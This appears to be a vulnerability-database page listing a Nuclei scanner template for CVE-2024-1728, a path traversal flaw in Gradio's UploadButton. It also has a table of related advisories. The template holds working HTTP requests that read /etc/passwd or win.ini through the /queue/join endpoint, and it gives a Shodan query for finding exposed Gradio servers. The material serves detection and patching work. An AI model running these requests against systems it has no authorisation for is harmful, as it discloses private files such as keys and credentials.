Lucene search
+L

Gradio > 4.19.1 UploadButton - Path Traversal

🗓️ 22 Oct 2026 02:06:49Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 429 Views

Gradio UploadButton Path Traversal vulnerability allows for reading arbitrary files on the server filesystem via improper input validation, leading to potential remote code execution

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2024-1728
12 Apr 202406:48
–circl
cnnvd
CNNVD
Gradio path traversal vulnerability
10 Apr 202400:00
–cnnvd
cve
CVE
CVE-2024-1728
10 Apr 202417:07
–cve
cvelist
Cvelist
CVE-2024-1728 Local File Inclusion in gradio-app/gradio
10 Apr 202417:07
–cvelist
githubexploit
GithubExploit
Exploit for Path Traversal in Gradio_Project Gradio
5 Feb 202510:04
–githubexploit
github
Github Security Blog
Duplicate Advisory: Gradio Local File Inclusion vulnerability
10 Apr 202418:30
–github
github
Github Security Blog
Gradio allows users to access arbitrary files
25 Sep 202421:48
–github
nessus
Tenable Nessus
Gradio < 4.19.2 Vulnerability - CVE-2024-1728
10 Jan 202500:00
–nessus
mend
Mend
CVE-2024-1728
10 Apr 202417:07
–mend
nvd
NVD
CVE-2024-1728
10 Apr 202417:15
–nvd
Rows per page
id: CVE-2024-1728

info:
  name: Gradio > 4.19.1 UploadButton - Path Traversal
  author: isacaya
  severity: high
  description: |
    gradio-app/gradio is vulnerable to a local file inclusion vulnerability due to improper validation of user-supplied input in the UploadButton component.
  impact: |
    Attackers can exploit this vulnerability to read arbitrary files on the filesystem, such as private SSH keys, by manipulating the file path in the request to the `/queue/join` endpoint. This issue could potentially lead to remote code execution. The vulnerability is present in the handling of file upload paths, allowing attackers to redirect file uploads to unintended locations on the server.
  remediation: |
    Update to version 4.19.2.
  reference:
    - https://github.com/gradio-app/gradio/commit/16fbe9cd0cffa9f2a824a0165beb43446114eec7
    - https://huntr.com/bounties/9bb33b71-7995-425d-91cc-2c2a2f2a068a
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1728
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-1728
    cwe-id: CWE-22
    epss-score: 0.85393
    epss-percentile: 0.99721
  metadata:
    max-request: 5
    verified: true
    vendor: gradio
    product: gradio
    shodan-query: html:"__gradio_mode__"
  tags: cve,cve2024,lfi,gradio,intrusive,vuln

http:
  - raw:
      - |
        POST /queue/join HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"data":[{"path":"{{path}}","url":"{{BaseURL}}/file=/help","orig_name":"CHANGELOG.md","size":3549,"mime_type":"text/markdown"}],"event_data":null,"fn_index":0,"trigger_id":2,"session_hash":"{{randstr}}"}
      - |
        GET /queue/data?session_hash={{randstr}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /file={{extracted_path}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: extracted_path
        regex:
          - "/tmp/gradio/[^/]+/passwd"
          - "C:.*\\win\\.ini"
        internal: true

    payloads:
      path:
        - /etc/passwd
        - /windows/win.ini

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[^:]:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200
# digest: 490a004630440220372ba25044056e158a4db114697eb544f6d78fcba24955d0da3ec0acef4d961f0220148604cd92e5b36744a5920d9f404bb006732d7f668c67ce45b89de428c2eb76:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.2High risk
Vulners AI Score7.2
CVSS 3.17.5
CVSS 37.5
EPSS0.85393
SSVC
429